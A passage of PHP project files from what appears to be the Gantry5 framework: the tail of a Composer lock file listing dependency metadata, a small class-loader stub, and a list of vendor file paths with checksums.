],
"support": {
"issues":
"https://github.com/erusev/parsedown-extra/issues",
"source":
"https://github.com/erusev/parsedown-extra/tree/master"
},
"time": "2015-11-01T10:19:22+00:00"
},
{
"name": "filp/whoops",
"version": "2.5.1",
"source": {
"type": "git",
"url":
"https://github.com/filp/whoops.git",
"reference":
"ee9699e79d8fcdd15c107e035d7b965e4fa854ac"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/filp/whoops/zipball/ee9699e79d8fcdd15c107e035d7b965e4fa854ac",
"reference":
"ee9699e79d8fcdd15c107e035d7b965e4fa854ac",
"shasum": ""
},
"require": {
"php": "^5.5.9 || ^7.0",
"psr/log": "^1.0.1"
},
"require-dev": {
"mockery/mockery": "^0.9 || ^1.0",
"phpunit/phpunit": "^4.8.35 || ^5.7",
"symfony/var-dumper": "^2.6 || ^3.0 ||
^4.0"
},
"suggest": {
"symfony/var-dumper": "Pretty print complex
values better with var-dumper available",
"whoops/soap": "Formats errors as SOAP
responses"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.2-dev"
}
},
"autoload": {
"psr-4": {
"Whoops\\": "src/Whoops/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Filipe Dobreira",
"homepage":
"https://github.com/filp",
"role": "Developer"
}
],
"description": "php error handling for cool
kids",
"homepage":
"https://filp.github.io/whoops/",
"keywords": [
"error",
"exception",
"handling",
"library",
"throwable",
"whoops"
],
"support": {
"issues":
"https://github.com/filp/whoops/issues",
"source":
"https://github.com/filp/whoops/tree/2.5.1"
},
"time": "2019-12-21T10:00:00+00:00"
},
{
"name": "leafo/scssphp",
"version": "v0.8.4",
"source": {
"type": "git",
"url":
"https://github.com/leafo/scssphp.git",
"reference":
"b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/leafo/scssphp/zipball/b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9",
"reference":
"b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9",
"shasum": ""
},
"require": {
"php": "^5.4.0 || ^7"
},
"require-dev": {
"phpunit/phpunit": "~4.6",
"squizlabs/php_codesniffer": "~2.5",
"twbs/bootstrap": "~4.3",
"zurb/foundation": "~6.5"
},
"bin": [
"bin/pscss"
],
"type": "library",
"autoload": {
"psr-4": {
"Leafo\\ScssPhp\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Leaf Corcoran",
"email": "leafot@gmail.com",
"homepage": "http://leafo.net"
}
],
"description": "scssphp is a compiler for SCSS
written in PHP.",
"homepage":
"http://leafo.github.io/scssphp/",
"keywords": [
"css",
"less",
"sass",
"scss",
"stylesheet"
],
"support": {
"issues":
"https://github.com/leafo/scssphp/issues",
"source":
"https://github.com/leafo/scssphp/tree/v0.8.4"
},
"abandoned": "scssphp/scssphp",
"time": "2019-06-18T21:15:44+00:00"
},
{
"name": "pimple/pimple",
"version": "v3.2.3",
"source": {
"type": "git",
"url":
"https://github.com/silexphp/Pimple.git",
"reference":
"9e403941ef9d65d20cba7d54e29fe906db42cf32"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/silexphp/Pimple/zipball/9e403941ef9d65d20cba7d54e29fe906db42cf32",
"reference":
"9e403941ef9d65d20cba7d54e29fe906db42cf32",
"shasum": ""
},
"require": {
"php": ">=5.3.0",
"psr/container": "^1.0"
},
"require-dev": {
"symfony/phpunit-bridge": "^3.2"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "3.2.x-dev"
}
},
"autoload": {
"psr-0": {
"Pimple": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
}
],
"description": "Pimple, a simple Dependency
Injection Container",
"homepage": "http://pimple.sensiolabs.org",
"keywords": [
"container",
"dependency injection"
],
"support": {
"issues":
"https://github.com/silexphp/Pimple/issues",
"source":
"https://github.com/silexphp/Pimple/tree/master"
},
"time": "2018-01-21T07:42:36+00:00"
},
{
"name": "psr/container",
"version": "1.0.0",
"source": {
"type": "git",
"url":
"https://github.com/php-fig/container.git",
"reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
"reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
"shasum": ""
},
"require": {
"php": ">=5.3.0"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.0.x-dev"
}
},
"autoload": {
"psr-4": {
"Psr\\Container\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "PHP-FIG",
"homepage":
"http://www.php-fig.org/"
}
],
"description": "Common Container Interface (PHP
FIG PSR-11)",
"homepage":
"https://github.com/php-fig/container",
"keywords": [
"PSR-11",
"container",
"container-interface",
"container-interop",
"psr"
],
"support": {
"issues":
"https://github.com/php-fig/container/issues",
"source":
"https://github.com/php-fig/container/tree/master"
},
"time": "2017-02-14T16:28:37+00:00"
},
{
"name": "psr/log",
"version": "1.1.3",
"source": {
"type": "git",
"url":
"https://github.com/php-fig/log.git",
"reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
"reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc",
"shasum": ""
},
"require": {
"php": ">=5.3.0"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.1.x-dev"
}
},
"autoload": {
"psr-4": {
"Psr\\Log\\": "Psr/Log/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "PHP-FIG",
"homepage":
"http://www.php-fig.org/"
}
],
"description": "Common interface for logging
libraries",
"homepage":
"https://github.com/php-fig/log",
"keywords": [
"log",
"psr",
"psr-3"
],
"support": {
"source":
"https://github.com/php-fig/log/tree/1.1.3"
},
"time": "2020-03-23T09:12:05+00:00"
},
{
"name": "rockettheme/toolbox",
"version": "1.4.7",
"source": {
"type": "git",
"url":
"https://github.com/rockettheme/toolbox.git",
"reference":
"6a86bc0607884d2194260b6b72d67333e0141585"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/rockettheme/toolbox/zipball/6a86bc0607884d2194260b6b72d67333e0141585",
"reference":
"6a86bc0607884d2194260b6b72d67333e0141585",
"shasum": ""
},
"require": {
"ext-json": "*",
"php": ">=5.4.0",
"pimple/pimple": "~3.0",
"symfony/event-dispatcher": ">2.5",
"symfony/yaml": ">2.5"
},
"require-dev": {
"phpunit/phpunit": "~6"
},
"type": "library",
"autoload": {
"psr-4": {
"RocketTheme\\Toolbox\\ArrayTraits\\":
"ArrayTraits/src",
"RocketTheme\\Toolbox\\Blueprints\\":
"Blueprints/src",
"RocketTheme\\Toolbox\\Compat\\":
"Compat/src",
"RocketTheme\\Toolbox\\DI\\":
"DI/src",
"RocketTheme\\Toolbox\\Event\\":
"Event/src",
"RocketTheme\\Toolbox\\File\\":
"File/src",
"RocketTheme\\Toolbox\\ResourceLocator\\":
"ResourceLocator/src",
"RocketTheme\\Toolbox\\Session\\":
"Session/src",
"RocketTheme\\Toolbox\\StreamWrapper\\":
"StreamWrapper/src"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"description": "RocketTheme Toolbox
Library",
"homepage": "http://www.rockettheme.com",
"keywords": [
"php",
"rockettheme"
],
"support": {
"issues":
"https://github.com/rockettheme/toolbox/issues",
"source":
"https://github.com/rockettheme/toolbox/tree/1.4.7"
},
"time": "2020-03-19T18:24:40+00:00"
},
{
"name": "symfony/event-dispatcher",
"version": "v2.8.52",
"source": {
"type": "git",
"url":
"https://github.com/symfony/event-dispatcher.git",
"reference":
"a77e974a5fecb4398833b0709210e3d5e334ffb0"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/event-dispatcher/zipball/a77e974a5fecb4398833b0709210e3d5e334ffb0",
"reference":
"a77e974a5fecb4398833b0709210e3d5e334ffb0",
"shasum": ""
},
"require": {
"php": ">=5.3.9"
},
"require-dev": {
"psr/log": "~1.0",
"symfony/config": "^2.0.5|~3.0.0",
"symfony/dependency-injection":
"~2.6|~3.0.0",
"symfony/expression-language":
"~2.6|~3.0.0",
"symfony/stopwatch": "~2.3|~3.0.0"
},
"suggest": {
"symfony/dependency-injection": "",
"symfony/http-kernel": ""
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.8-dev"
}
},
"autoload": {
"psr-4": {
"Symfony\\Component\\EventDispatcher\\":
""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony EventDispatcher
Component",
"homepage": "https://symfony.com",
"support": {
"source":
"https://github.com/symfony/event-dispatcher/tree/v2.8.50"
},
"time": "2018-11-21T14:20:20+00:00"
},
{
"name": "symfony/polyfill-ctype",
"version": "v1.19.0",
"source": {
"type": "git",
"url":
"https://github.com/symfony/polyfill-ctype.git",
"reference":
"aed596913b70fae57be53d86faa2e9ef85a2297b"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
"reference":
"aed596913b70fae57be53d86faa2e9ef85a2297b",
"shasum": ""
},
"require": {
"php": ">=5.3.3"
},
"suggest": {
"ext-ctype": "For best performance"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.19-dev"
},
"thanks": {
"name": "symfony/polyfill",
"url":
"https://github.com/symfony/polyfill"
}
},
"autoload": {
"psr-4": {
"Symfony\\Polyfill\\Ctype\\": ""
},
"files": [
"bootstrap.php"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Gert de Pagter",
"email": "BackEndTea@gmail.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony polyfill for ctype
functions",
"homepage": "https://symfony.com",
"keywords": [
"compatibility",
"ctype",
"polyfill",
"portable"
],
"support": {
"source":
"https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
},
"funding": [
{
"url":
"https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url":
"https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2020-10-23T09:01:57+00:00"
},
{
"name": "symfony/yaml",
"version": "v2.8.52",
"source": {
"type": "git",
"url":
"https://github.com/symfony/yaml.git",
"reference":
"02c1859112aa779d9ab394ae4f3381911d84052b"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/yaml/zipball/02c1859112aa779d9ab394ae4f3381911d84052b",
"reference":
"02c1859112aa779d9ab394ae4f3381911d84052b",
"shasum": ""
},
"require": {
"php": ">=5.3.9",
"symfony/polyfill-ctype": "~1.8"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.8-dev"
}
},
"autoload": {
"psr-4": {
"Symfony\\Component\\Yaml\\": ""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony Yaml Component",
"homepage": "https://symfony.com",
"support": {
"source":
"https://github.com/symfony/yaml/tree/v2.8.52"
},
"time": "2018-11-11T11:18:13+00:00"
},
{
"name": "twig/twig",
"version": "v1.42.5",
"source": {
"type": "git",
"url":
"https://github.com/twigphp/Twig.git",
"reference":
"87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/twigphp/Twig/zipball/87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e",
"reference":
"87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e",
"shasum": ""
},
"require": {
"php": ">=5.5.0",
"symfony/polyfill-ctype": "^1.8"
},
"require-dev": {
"psr/container": "^1.0",
"symfony/phpunit-bridge": "^4.4|^5.0"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.42-dev"
}
},
"autoload": {
"psr-0": {
"Twig_": "lib/"
},
"psr-4": {
"Twig\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com",
"homepage":
"http://fabien.potencier.org",
"role": "Lead Developer"
},
{
"name": "Twig Team",
"role": "Contributors"
},
{
"name": "Armin Ronacher",
"email":
"armin.ronacher@active-4.com",
"role": "Project Founder"
}
],
"description": "Twig, the flexible, fast, and
secure template language for PHP",
"homepage": "https://twig.symfony.com",
"keywords": [
"templating"
],
"support": {
"issues":
"https://github.com/twigphp/Twig/issues",
"source":
"https://github.com/twigphp/Twig/tree/1.x"
},
"time": "2020-02-11T05:59:23+00:00"
}
],
"packages-dev": [
{
"name": "phpunit/php-code-coverage",
"version": "1.2.18",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/php-code-coverage.git",
"reference":
"fe2466802556d3fe4e4d1d58ffd3ccfd0a19be0b"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/fe2466802556d3fe4e4d1d58ffd3ccfd0a19be0b",
"reference":
"fe2466802556d3fe4e4d1d58ffd3ccfd0a19be0b",
"shasum": ""
},
"require": {
"php": ">=5.3.3",
"phpunit/php-file-iterator":
">=1.3.0@stable",
"phpunit/php-text-template":
">=1.2.0@stable",
"phpunit/php-token-stream":
">=1.1.3,<1.3.0"
},
"require-dev": {
"phpunit/phpunit": "3.7.*@dev"
},
"suggest": {
"ext-dom": "*",
"ext-xdebug": ">=2.0.5"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.2.x-dev"
}
},
"autoload": {
"classmap": [
"PHP/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"include-path": [
""
],
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email":
"sb@sebastian-bergmann.de",
"role": "lead"
}
],
"description": "Library that provides
collection, processing, and rendering functionality for PHP code coverage
information.",
"homepage":
"https://github.com/sebastianbergmann/php-code-coverage",
"keywords": [
"coverage",
"testing",
"xunit"
],
"support": {
"irc":
"irc://irc.freenode.net/phpunit",
"issues":
"https://github.com/sebastianbergmann/php-code-coverage/issues",
"source":
"https://github.com/sebastianbergmann/php-code-coverage/tree/1.2.18"
},
"time": "2014-09-02T10:13:14+00:00"
},
{
"name": "phpunit/php-file-iterator",
"version": "1.4.5",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/php-file-iterator.git",
"reference":
"730b01bc3e867237eaac355e06a36b85dd93a8b4"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/730b01bc3e867237eaac355e06a36b85dd93a8b4",
"reference":
"730b01bc3e867237eaac355e06a36b85dd93a8b4",
"shasum": ""
},
"require": {
"php": ">=5.3.3"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.4.x-dev"
}
},
"autoload": {
"classmap": [
"src/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email":
"sb@sebastian-bergmann.de",
"role": "lead"
}
],
"description": "FilterIterator implementation
that filters files based on a list of suffixes.",
"homepage":
"https://github.com/sebastianbergmann/php-file-iterator/",
"keywords": [
"filesystem",
"iterator"
],
"support": {
"irc":
"irc://irc.freenode.net/phpunit",
"issues":
"https://github.com/sebastianbergmann/php-file-iterator/issues",
"source":
"https://github.com/sebastianbergmann/php-file-iterator/tree/1.4.5"
},
"time": "2017-11-27T13:52:08+00:00"
},
{
"name": "phpunit/php-text-template",
"version": "1.2.1",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/php-text-template.git",
"reference":
"31f8b717e51d9a2afca6c9f046f5d69fc27c8686"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/31f8b717e51d9a2afca6c9f046f5d69fc27c8686",
"reference":
"31f8b717e51d9a2afca6c9f046f5d69fc27c8686",
"shasum": ""
},
"require": {
"php": ">=5.3.3"
},
"type": "library",
"autoload": {
"classmap": [
"src/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email": "sebastian@phpunit.de",
"role": "lead"
}
],
"description": "Simple template engine.",
"homepage":
"https://github.com/sebastianbergmann/php-text-template/",
"keywords": [
"template"
],
"support": {
"issues":
"https://github.com/sebastianbergmann/php-text-template/issues",
"source":
"https://github.com/sebastianbergmann/php-text-template/tree/1.2.1"
},
"time": "2015-06-21T13:50:34+00:00"
},
{
"name": "phpunit/php-timer",
"version": "1.0.9",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/php-timer.git",
"reference":
"3dcf38ca72b158baf0bc245e9184d3fdffa9c46f"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/php-timer/zipball/3dcf38ca72b158baf0bc245e9184d3fdffa9c46f",
"reference":
"3dcf38ca72b158baf0bc245e9184d3fdffa9c46f",
"shasum": ""
},
"require": {
"php": "^5.3.3 || ^7.0"
},
"require-dev": {
"phpunit/phpunit": "^4.8.35 || ^5.7 ||
^6.0"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.0-dev"
}
},
"autoload": {
"classmap": [
"src/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email":
"sb@sebastian-bergmann.de",
"role": "lead"
}
],
"description": "Utility class for timing",
"homepage":
"https://github.com/sebastianbergmann/php-timer/",
"keywords": [
"timer"
],
"support": {
"issues":
"https://github.com/sebastianbergmann/php-timer/issues",
"source":
"https://github.com/sebastianbergmann/php-timer/tree/master"
},
"time": "2017-02-26T11:10:40+00:00"
},
{
"name": "phpunit/php-token-stream",
"version": "1.2.2",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/php-token-stream.git",
"reference":
"ad4e1e23ae01b483c16f600ff1bebec184588e32"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/ad4e1e23ae01b483c16f600ff1bebec184588e32",
"reference":
"ad4e1e23ae01b483c16f600ff1bebec184588e32",
"shasum": ""
},
"require": {
"ext-tokenizer": "*",
"php": ">=5.3.3"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.2-dev"
}
},
"autoload": {
"classmap": [
"PHP/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"include-path": [
""
],
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email":
"sb@sebastian-bergmann.de",
"role": "lead"
}
],
"description": "Wrapper around PHP's
tokenizer extension.",
"homepage":
"https://github.com/sebastianbergmann/php-token-stream/",
"keywords": [
"tokenizer"
],
"support": {
"irc":
"irc://irc.freenode.net/phpunit",
"issues":
"https://github.com/sebastianbergmann/php-token-stream/issues",
"source":
"https://github.com/sebastianbergmann/php-token-stream/tree/1.2.2"
},
"abandoned": true,
"time": "2014-03-03T05:10:30+00:00"
},
{
"name": "phpunit/phpunit",
"version": "3.7.38",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/phpunit.git",
"reference":
"38709dc22d519a3d1be46849868aa2ddf822bcf6"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/phpunit/zipball/38709dc22d519a3d1be46849868aa2ddf822bcf6",
"reference":
"38709dc22d519a3d1be46849868aa2ddf822bcf6",
"shasum": ""
},
"require": {
"ext-ctype": "*",
"ext-dom": "*",
"ext-json": "*",
"ext-pcre": "*",
"ext-reflection": "*",
"ext-spl": "*",
"php": ">=5.3.3",
"phpunit/php-code-coverage": "~1.2",
"phpunit/php-file-iterator": "~1.3",
"phpunit/php-text-template": "~1.1",
"phpunit/php-timer": "~1.0",
"phpunit/phpunit-mock-objects": "~1.2",
"symfony/yaml": "~2.0"
},
"require-dev": {
"pear-pear.php.net/pear": "1.9.4"
},
"suggest": {
"phpunit/php-invoker": "~1.1"
},
"bin": [
"composer/bin/phpunit"
],
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "3.7.x-dev"
}
},
"autoload": {
"classmap": [
"PHPUnit/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"include-path": [
"",
"../../symfony/yaml/"
],
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email": "sebastian@phpunit.de",
"role": "lead"
}
],
"description": "The PHP Unit Testing
framework.",
"homepage": "http://www.phpunit.de/",
"keywords": [
"phpunit",
"testing",
"xunit"
],
"support": {
"irc":
"irc://irc.freenode.net/phpunit",
"issues":
"https://github.com/sebastianbergmann/phpunit/issues",
"source":
"https://github.com/sebastianbergmann/phpunit/tree/3.7"
},
"time": "2014-10-17T09:04:17+00:00"
},
{
"name": "phpunit/phpunit-mock-objects",
"version": "1.2.3",
"source": {
"type": "git",
"url":
"https://github.com/sebastianbergmann/phpunit-mock-objects.git",
"reference":
"5794e3c5c5ba0fb037b11d8151add2a07fa82875"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/sebastianbergmann/phpunit-mock-objects/zipball/5794e3c5c5ba0fb037b11d8151add2a07fa82875",
"reference":
"5794e3c5c5ba0fb037b11d8151add2a07fa82875",
"shasum": ""
},
"require": {
"php": ">=5.3.3",
"phpunit/php-text-template":
">=1.1.1@stable"
},
"suggest": {
"ext-soap": "*"
},
"type": "library",
"autoload": {
"classmap": [
"PHPUnit/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"include-path": [
""
],
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Sebastian Bergmann",
"email":
"sb@sebastian-bergmann.de",
"role": "lead"
}
],
"description": "Mock Object library for
PHPUnit",
"homepage":
"https://github.com/sebastianbergmann/phpunit-mock-objects/",
"keywords": [
"mock",
"xunit"
],
"support": {
"irc":
"irc://irc.freenode.net/phpunit",
"issues":
"https://github.com/sebastianbergmann/phpunit-mock-objects/issues",
"source":
"https://github.com/sebastianbergmann/phpunit-mock-objects/tree/1.2.3"
},
"abandoned": true,
"time": "2013-01-13T10:24:48+00:00"
}
],
"aliases": [],
"minimum-stability": "stable",
"stability-flags": [],
"prefer-stable": false,
"prefer-lowest": false,
"platform": {
"php": ">=5.5.9"
},
"platform-dev": [],
"platform-overrides": {
"php": "5.5.9"
},
"plugin-api-version": "2.0.0"
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry5;
abstract class Loader
{
public static function setup()
{
self::get();
}
/**
* @return mixed
*/
public static function get()
{
static $loader;
if (!$loader) {
require_once __DIR__ . '/RealLoader.php';
$loader = RealLoader::getClassLoader();
}
return $loader;
}
}
vendor/rockettheme/toolbox/ResourceLocator/src/UniformResourceIterator.php 8425750b905dcd7e08da95f1d7901a90
vendor/rockettheme/toolbox/ResourceLocator/src/UniformResourceLocator.php 17d5021c8dd8905a63dcdeeedd307d3a
vendor/rockettheme/toolbox/ResourceLocator/src/RecursiveUniformResourceIterator.php 267434b9de11ac00f5796e6d65055a81
vendor/rockettheme/toolbox/ResourceLocator/src/ResourceLocatorInterface.php 88c18b6ba9bbb10e14af755fa164da21
vendor/rockettheme/toolbox/composer.json f89585e67ab10392f78cb43fdcb558b3
vendor/rockettheme/toolbox/File/src/File.php cd9ec903953af5e03ab6296d81047247
vendor/rockettheme/toolbox/File/src/MoFile.php fca92b606792b6d9829bc288f2d2e969
vendor/rockettheme/toolbox/File/src/FileInterface.php 388204852baee6fb82f3d79cfa6f6078
vendor/rockettheme/toolbox/File/src/IniFile.php 0db28506d60bb93d2da2954e7165cb26
vendor/rockettheme/toolbox/File/src/PhpFile.php 71da92c6d301692320824582d7b77236
vendor/rockettheme/toolbox/File/src/JsonFile.php 7f24d036362a0db48c3dc6ecdad5c04e
vendor/rockettheme/toolbox/File/src/MarkdownFile.php b568d2f7f7259ecab44a12bdb240323d
vendor/rockettheme/toolbox/File/src/LogFile.php b232545d74c89ddc4ead96ac4602172b
vendor/rockettheme/toolbox/File/src/YamlFile.php 4b9da488a8e175c8182cff4be0d32127
vendor/rockettheme/toolbox/Session/src/Session.php 51837671eab82fbba1e7790b7ad52dc1
vendor/rockettheme/toolbox/Session/src/Message.php 318e6c4e8453ba2929d2bc76bf02196e
vendor/rockettheme/toolbox/Blueprints/src/BlueprintSchema.php 54be55c0beec7d92fb9e28cb541407a4
vendor/rockettheme/toolbox/Blueprints/src/Blueprints.php 0dcc792b213241c38ca8af45b3ca0c38
vendor/rockettheme/toolbox/Blueprints/src/BlueprintForm.php b2b397a773f4cb29d0d5c2329ccc23c1
vendor/rockettheme/toolbox/DI/src/Container.php cac7a4bf0f6c0e393fbd777d845681d9
vendor/rockettheme/toolbox/DI/src/ServiceProviderInterface.php 95b4daf6165a071147f5a621c61c53f3
vendor/rockettheme/toolbox/ArrayTraits/src/Iterator.php dfa2dee2acdc645c70bd1ad2f0769e2a
vendor/rockettheme/toolbox/ArrayTraits/src/Constructor.php 6a975da179d99e17cc7e49b00102a718
vendor/rockettheme/toolbox/ArrayTraits/src/ArrayAccessWithGetters.php 32b274f266b1c98f221e13a42b111f5d
vendor/rockettheme/toolbox/ArrayTraits/src/NestedArrayAccess.php c8cb0a80e969fe64319101649a95bed6
vendor/rockettheme/toolbox/ArrayTraits/src/NestedArrayAccessWithGetters.php f3044ab6b551163458d04b5349f554bc
vendor/rockettheme/toolbox/ArrayTraits/src/Countable.php a1002148c4cc06f3b6f4bcc807b5bf8b
vendor/rockettheme/toolbox/ArrayTraits/src/Serializable.php 108604ea685eda1cc7339fffdb506e4c
vendor/rockettheme/toolbox/ArrayTraits/src/ExportInterface.php 85a427fb236c257856cc290f3db51c0f
vendor/rockettheme/toolbox/ArrayTraits/src/Export.php ab0ea60169527f36056c4f5ffffa76f8
vendor/rockettheme/toolbox/ArrayTraits/src/ArrayAccess.php 70046c4821eac9dde65dc31fdf997492
vendor/rockettheme/toolbox/StreamWrapper/src/ReadOnlyStream.php be543485cce9d434e4d2036e0c39031a
vendor/rockettheme/toolbox/StreamWrapper/src/Stream.php def0c957518fe03329a10ac7909a8ffa
vendor/rockettheme/toolbox/StreamWrapper/src/StreamBuilder.php c4f109a9ded5165126c2f8ba7ea2d90b
vendor/rockettheme/toolbox/StreamWrapper/src/StreamInterface.php 104a1418675c761c7039f4ed54c11c63
vendor/rockettheme/toolbox/Compat/src/Yaml/Parser.php 0b9b4ab5393b0abcac1a6cf91c8c8d33
vendor/rockettheme/toolbox/Compat/src/Yaml/Exception/ParseException.php 2794bd6de9a601e7515200cea7786707
vendor/rockettheme/toolbox/Compat/src/Yaml/Exception/ExceptionInterface.php 0c51a689d978fbe1c2913939752821ba
vendor/rockettheme/toolbox/Compat/src/Yaml/Exception/RuntimeException.php 8b35bef00c5d97daeb0574058b42a27d
vendor/rockettheme/toolbox/Compat/src/Yaml/Inline.php 5cfd9bf3fdf66b4d01db6e3ca5f9d995
vendor/rockettheme/toolbox/Compat/src/Yaml/Unescaper.php 07b339b2698360defdb6ba28efcea679
vendor/rockettheme/toolbox/Compat/src/Yaml/Yaml.php de7a8a3f84d2cc2395ca215f777b6e8a
vendor/rockettheme/toolbox/Event/src/EventSubscriberInterface.php deee6fce3aae142d1e4129f4573e310a
vendor/rockettheme/toolbox/Event/src/Event.php a28e4af27f18a1e906aaa70c2aadf8a8
vendor/rockettheme/toolbox/Event/src/EventDispatcher.php d8f71272daf15a98dec45d859193e045
vendor/psr/container/composer.json c2397ca596d172818c606be79a5e3532
vendor/psr/container/src/ContainerExceptionInterface.php d7a4fda88b943f658e13f7f5aa3e85f1
vendor/psr/container/src/ContainerInterface.php d459395043420a1cfde26c94500f5b66
vendor/psr/container/src/NotFoundExceptionInterface.php 8fc6d3d2099bf1fd8d03a3273157c8d3
vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.php a653a140fb81bf4c37da14a60c2ad1d7
vendor/psr/log/Psr/Log/Test/DummyTest.php 52cb71ea2645f556b4e1e519d1c78a76
vendor/psr/log/Psr/Log/Test/TestLogger.php 885f63b13ecb1ab70b3da51573770ef4
vendor/psr/log/Psr/Log/AbstractLogger.php 26eb607e5318188016615326bd89a9be
vendor/psr/log/Psr/Log/LoggerInterface.php 460689f292a11ebce586ef066313dd5d
vendor/psr/log/Psr/Log/NullLogger.php 0cfdfa8d81e5b22c24c96ae7014213c0
vendor/psr/log/Psr/Log/LoggerAwareTrait.php 221f47ac7d3da4800d2c0e26cdfb351b
vendor/psr/log/Psr/Log/LoggerTrait.php 80438cede9b432c45cd59838fc3080af
